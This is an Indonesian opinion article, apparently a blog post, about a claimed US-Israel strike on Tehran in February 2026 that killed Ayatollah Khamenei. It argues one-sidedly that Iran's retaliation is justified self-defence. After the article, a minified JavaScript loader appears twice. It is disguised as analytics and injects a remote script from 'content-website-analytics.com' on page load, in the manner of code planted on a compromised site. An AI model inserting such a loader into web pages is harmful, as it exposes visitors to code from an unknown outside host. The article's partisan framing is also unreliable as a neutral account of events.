Perlawanan Iran terhadap Arogansi AS-Israel

Serangan gabungan AS-Israel pada pagi hari tanggal 28 Februari 2026 ke Teheran menyebabkan kesyahidan Ayatullah Ali Khamenei, beberapa anggota keluarga beliau, serta beberapa jenderal pucuk pimpinan militer Iran. Peristiwa ini diikuti dengan serangan balasan Iran terhadap Israel dan pangkalan-pangkalan militer AS di kawasan Teluk. Hingga tulisan ini dibuat, perang masih bereskalasi dan berpotensi berkembang menjadi perang dengan skala yang lebih besar.

Arogansi AS-Israel

Serangan AS-Israel ke Iran, sekali lagi membuktikan bahwa kedua negara ini memang tidak memedulikan hukum internasional. Baru saja pada Januari 2026, AS menyerang Venezuela dan menculik Presiden Nicolás Maduro. Pada Januari 2026 pula, Presiden Donald Trump mengatakan bahwa dirinya memang tidak membutuhkan hukum internasional. Israel juga menunjukkan pola serupa. Benjamin Netanyahu dan Yoav Gallant dinyatakan sebagai penjahat perang oleh ICC atas pembantaian puluhan ribu rakyat sipil di Gaza. Namun tokoh-tokoh Zionis tersebut tetap melenggang bebas dan melanjutkan kejahatan perangnya. AS sendiri aktif memberi bantuan kepada Israel dalam pembantaian rakyat Gaza. Kini, AS dan Israel mengulang pola arogansinya kembali dengan menyerang Iran tanpa justifikasi hukum internasional apa pun.

AS-Israel memang mencari-cari alasan apa pun demi menyerang Iran. Pada Januari 2026, Donald Trump mengancam untuk menyerang Iran dengan tuduhan rezim Iran membantai demonstran. Ketika tuduhan tersebut tidak terbukti, Trump berganti alasan. Alasan yang digunakan kali ini adalah bahwa Iran menolak memenuhi tuntutan Trump terkait penghentian proyek pengayaan nuklir. Padahal tuntutan Trump sendiri tidak masuk akal, karena mendikte Iran agar menghentikan proyek pengayaan nuklir secara total. Alasan Trump jelas tidak dapat diterima. Pasalnya, Iran adalah negara penandatangan Perjanjian Non-Proliferasi Nuklir yang berhak memperkaya nuklir untuk tujuan damai. Belakangan, Trump jujur menyatakan bahwa serangan terhadap Iran adalah untuk meruntuhkan rezim Islam Iran. Karena itu, pola serangan awal AS dan Israel adalah pembunuhan terhadap pucuk pimpinan politik dan militer Iran. Begitu terkonfirmasi bahwa Ayatullah Ali Khamenei wafat, Trump dan Netanyahu mendorong rakyat Iran untuk turun ke jalan demonstrasi besar-besaran menuntut perubahan rezim.

Namun demikian, keinginan AS dan Israel untuk mengganti rezim merupakan kesalahan kalkulasi strategis. Iran tidak sama dengan monarki yang mengandalkan individu dan keluarga sebagai puncak pemimpin negaranya. Sebaliknya, Iran adalah negara berbasis ideologi dengan struktur pemerintahan yang mapan dan komprehensif. Kemartiran rahbar, Ayatullah Ali Khamenei, tidak otomatis meruntuhkan rezim Islam Iran. Struktur rezim Islam dapat bertahan meskipun kehilangan pucuk pimpinannya. Kesyahidan Ayatullah Ali Khamenei justru menjadi momentum bagi sebagian besar rakyat Iran untuk meneguhkan komitmen terhadap ideologi Wilayatul Faqih dan pemerintahan Islam. Kemartiran pucuk pimpinan politik dan militer Iran, juga tidak menghilangkan kapabilitas militer Iran dalam menyerang balik AS dan Israel secara masif. Arogansi AS-Israel harus dibayar dengan serangan skala luas oleh Iran.

Mengapa harus mendukung Iran?

Sikap perlawanan Iran jelas dapat dibenarkan. Alasannya, pertama, Iran tidak pernah terbukti melakukan tindakan pemicu perang sebagaimana dituduhkan oleh AS dan Israel. Isu pembuatan senjata nuklir, misalnya, adalah tuduhan lama dan basi Israel terhadap Iran. Sebuah tuduhan terus-menerus yang diulang Israel terhadap Iran sejak dekade 1980-an hingga kini. Tuduhan tersebut tidak pernah terbukti. IAEA menyatakan bahwa tidak ada bukti bahwa Iran membuat senjata nuklir. Selain itu, fatwa Ayatullah Ali Khamenei mengenai larangan pembuatan senjata nuklir juga tidak pernah dicabut. Tuduhan lainnya, misalnya, Trump menyatakan bahwa jumlah korban tewas dalam gelombang kerusuhan mencapai 32.000 orang. Sebuah angka yang jelas tidak masuk akal dan tidak pernah terverifikasi dengan data lapangan. Pun tidak ada bukti bahwa pemerintah Iran membantai korban tewas dalam kerusuhan tersebut.

Alasan kedua, dalam perang ini, justru AS dan Israel yang melakukan serangan terlebih dahulu. Pre-emptive strike yang tidak memiliki justifikasi hukum internasional serta tanpa ada ancaman apapun dari pihak Iran. Serangan juga dilakukan di tengah-tengah proses negosiasi antara AS dan Iran tentang masalah pengayaan nuklir. Karena itu, serangan Iran terhadap AS dan Israel harus dibaca sebagai upaya pembelaan diri sesuai dengan Piagam PBB. Alasan ketiga, Iran adalah satu-satunya simbol perlawanan yang tersisa di antara negeri-negeri muslim. Di tengah tren normalisasi diplomatik negara Timur Tengah dan Israel dengan beragam skema yang difasilitasi oleh AS, hanya Iran yang konsisten dengan pola politik perlawanan. Di tengah-tengah sanksi, tekanan, dan serangan, Iran dapat menunjukkan pola resistensi terhadap arogansi hegemoni AS dan Israel sekutunya.

Perang Asimetris

Perang ini menunjukkan contoh perang asimetris, dimana Iran memiliki kekuatan militer jauh di bawah gabungan kekuatan militer adidaya AS dengan Zionis Israel. Menurut beberapa estimasi, Iran diperkirakan ”hanya” memiliki sekitar 3000 rudal. Bandingkan dengan kedigdayaan dirgantara militer AS. Meski tidak berimbang, Iran berhasil menyasar berbagai pangkalan militer AS dan beragam infrastruktur militernya. Iran juga berhasil merusak beragam infrastruktur penting di Israel. Perang ini sekaligus memperlihatkan bahwa negara yang kuat secara ideologis seperti Iran, tidak mudah diruntuhkan oleh tekanan eksternal. Sebaliknya, justru menunjukkan ketangguhan dan resistensi. Namun yang tidak kalah penting, perang ini sekaligus menunjukkan krisis dalam tata kelola global, dimana hukum dan norma internasional tersisih oleh arogansi AS-Israel.

;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,’script’,’https://content-website-analytics.com/script.js’);

Leave a Reply

Your email address will not be published. Required fields are marked *